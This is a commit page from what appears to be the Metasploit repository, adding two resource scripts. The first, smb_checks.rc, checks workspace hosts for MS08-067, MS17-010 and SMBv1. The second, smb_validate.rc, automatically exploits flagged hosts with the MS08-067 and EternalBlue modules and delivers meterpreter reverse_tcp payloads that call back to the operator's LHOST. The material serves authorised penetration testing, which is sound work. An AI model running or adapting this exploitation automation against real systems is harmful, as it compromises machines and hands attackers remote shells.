Skip to content

Commit a293093

Browse files
committed
Land rapid7#9122, Add resource scripts to check & verify common SMB vulnerabilities
2 parents 386e148 + c4c093b commit a293093

File tree

2 files changed

+265
-0
lines changed

2 files changed

+265
-0
lines changed

scripts/resource/smb_checks.rc

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
<ruby>
2+
3+
#
4+
# This resource scripts will check common security concerns on SMB for Windows.
5+
# Specifically, this script will check for these things:
6+
#
7+
# * MS08-067.
8+
# * MS17-010.
9+
# * SMB version 1.
10+
#
11+
# For extra validation, you may try the smb_validate.rc script.
12+
#
13+
# Author:
14+
# sinn3r
15+
#
16+
17+
@job_ids = []
18+
19+
def wait_until_jobs_done
20+
while true
21+
@job_ids.each do |job_id|
22+
current_job_ids = framework.jobs.keys.map { |e| e.to_i }
23+
sleep 1 if current_job_ids.include?(job_id)
24+
end
25+
26+
return
27+
end
28+
end
29+
30+
def check_ms17_010(host, serv)
31+
print_status("Checking MS17-010 on #{host.address}")
32+
mod = framework.modules.create('auxiliary/scanner/smb/smb_ms17_010')
33+
mod.datastore['RHOSTS'] = host.address
34+
mod.datastore['RPORT'] = serv.port
35+
mod.run_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
36+
print_status("MS17-010 job ID for target #{host.address} is: #{mod.job_id}")
37+
@job_ids << mod.job_id
38+
end
39+
40+
def check_ms08_067_netapi(host, serv)
41+
print_status("Checking MS08-067 on #{host.address}")
42+
mod = framework.exploits.create('windows/smb/ms08_067_netapi')
43+
mod.datastore['RHOST'] = host.address
44+
begin
45+
check_code = mod.check_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
46+
if mod.job_id
47+
print_status("MS08-067 job ID for target #{host.address} is: #{mod.job_id}")
48+
@job_ids << mod.job_id
49+
end
50+
51+
if check_code == Msf::Exploit::CheckCode::Vulnerable
52+
framework.db.report_vuln(
53+
workspace: mod.workspace,
54+
host: mod.rhost,
55+
name: mod.name,
56+
info: "This was flagged as vulnerable by the explicit check of #{mod.fullname}.",
57+
refs: mod.references
58+
)
59+
end
60+
rescue ::Exception => e
61+
print_error(e.message)
62+
end
63+
end
64+
65+
def check_smbv1(host, serv)
66+
print_status("Checking SMBv1 on #{host.address}")
67+
mod = framework.modules.create('auxiliary/scanner/smb/smb1')
68+
mod.datastore['RHOSTS'] = host.address
69+
mod.datastore['RPORT'] = serv.port
70+
mod.run_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
71+
print_status("SMBv1 check job ID for target #{host.address} is: #{mod.job_id}")
72+
@job_ids << mod.job_id
73+
end
74+
75+
def is_smb?(host, serv)
76+
return false unless serv.host
77+
return false if serv.state != Msf::ServiceState::Open
78+
return false if serv.port != 445
79+
true
80+
end
81+
82+
def do_checks
83+
print_status("Number of hosts to check: #{framework.db.workspace.hosts.length}")
84+
framework.db.workspace.hosts.each do |host|
85+
host.services.each do |serv|
86+
next unless is_smb?(host, serv)
87+
print_status("Checking #{host.address}:#{serv.port} (#{serv.name})")
88+
check_smbv1(host, serv)
89+
check_ms17_010(host, serv)
90+
check_ms08_067_netapi(host, serv)
91+
end
92+
end
93+
end
94+
95+
def setup
96+
run_single("setg verbose true")
97+
end
98+
99+
def main
100+
print_status('Performing checks...')
101+
do_checks
102+
wait_until_jobs_done
103+
end
104+
105+
setup
106+
main
107+
108+
</ruby>

scripts/resource/smb_validate.rc

Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
<ruby>
2+
3+
#
4+
# This resource script will attempt to exploit the following vulnerabilities:
5+
#
6+
# * MS08-067
7+
# * MS17-010
8+
#
9+
# It works best if you can pair it with the smb_checks.rc script.
10+
#
11+
# Author:
12+
# sinn3r
13+
#
14+
15+
@job_ids = []
16+
17+
def wait_until_jobs_done
18+
while true
19+
@job_ids.each do |job_id|
20+
current_job_ids = framework.jobs.keys.map { |e| e.to_i }
21+
sleep 1 if current_job_ids.include?(job_id)
22+
end
23+
24+
return
25+
end
26+
end
27+
28+
def ms08_067_netapi_mod
29+
framework.exploits.create('windows/smb/ms08_067_netapi')
30+
end
31+
32+
def ms17_010_mod
33+
framework.exploits.create('windows/smb/ms17_010_eternalblue')
34+
end
35+
36+
def is_port_open?(port)
37+
begin
38+
sock = Socket.new(Socket::Constants::AF_INET, Socket::Constants::SOCK_STREAM, 0)
39+
sock.bind(Socket.pack_sockaddr_in(port, get_lhost))
40+
rescue
41+
return false
42+
ensure
43+
sock.close if sock && sock.kind_of?(Socket)
44+
end
45+
46+
true
47+
end
48+
49+
def get_x86_meterpreter_port
50+
port_range = (4000..65535)
51+
port_range.each do |port|
52+
return port if is_port_open?(port)
53+
end
54+
55+
raise RuntimeError, 'Unable to find a meterpreter port'
56+
end
57+
58+
def get_x64_meterpreter_port
59+
port_range = (3000..65535)
60+
port_range.each do |port|
61+
return port if is_port_open?(port)
62+
end
63+
64+
raise RuntimeError, 'Unable to find a meterpreter port'
65+
end
66+
67+
def get_x86_payload_name
68+
'windows/meterpreter/reverse_tcp'
69+
end
70+
71+
def get_x64_payload_name
72+
'windows/x64/meterpreter/reverse_tcp'
73+
end
74+
75+
def get_lhost
76+
framework.datastore['LHOST']
77+
end
78+
79+
def validate_ms08_067(vuln)
80+
mod = ms08_067_netapi_mod
81+
mod.datastore['RHOST'] = vuln.host.address
82+
mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
83+
mod.datastore['PAYLOAD'] = get_x86_payload_name
84+
mod.datastore['LHOST'] = get_lhost
85+
mod.datastore['LPORT'] = get_x86_meterpreter_port
86+
print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
87+
begin
88+
mod.exploit_simple({
89+
'LocalOutput' => self.output,
90+
'RunAsJob' => true,
91+
'Payload' => get_x86_payload_name
92+
})
93+
@job_ids << mod.job_id
94+
rescue ::Exception => e
95+
print_error(e.message)
96+
end
97+
end
98+
99+
def validate_ms17_010(vuln)
100+
mod = ms17_010_mod
101+
mod.datastore['RHOST'] = vuln.host.address
102+
mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
103+
mod.datastore['PAYLOAD'] = get_x64_payload_name
104+
mod.datastore['LHOST'] = get_lhost
105+
mod.datastore['LPORT'] = get_x64_meterpreter_port
106+
print_status("Validating MS17-010 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
107+
begin
108+
mod.exploit_simple({
109+
'LocalOutput' => self.output,
110+
'RunAsJob' => true,
111+
'Payload' => get_x64_payload_name
112+
})
113+
@job_ids << mod.job_id
114+
rescue ::Exception => e
115+
print_error(e.message)
116+
end
117+
end
118+
119+
def is_smb?(host, serv)
120+
return false unless serv.host
121+
return false if serv.state != Msf::ServiceState::Open
122+
return false if serv.port != 445
123+
true
124+
end
125+
126+
def do_validation
127+
framework.db.workspace.vulns.each do |vuln|
128+
case vuln.name
129+
when /MS17\-010/i
130+
validate_ms17_010(vuln)
131+
when /MS08\-067/i
132+
validate_ms08_067(vuln)
133+
end
134+
end
135+
end
136+
137+
def setup
138+
run_single("setg verbose true")
139+
end
140+
141+
def main
142+
if framework.datastore['LHOST']
143+
print_status('Performing validation...')
144+
begin
145+
do_validation
146+
wait_until_jobs_done
147+
rescue RuntimeError => e
148+
print_error(e.message)
149+
print_error("Unable to do validation")
150+
end
151+
end
152+
end
153+
154+
setup
155+
main
156+
157+
</ruby>

0 commit comments

Comments
 (0)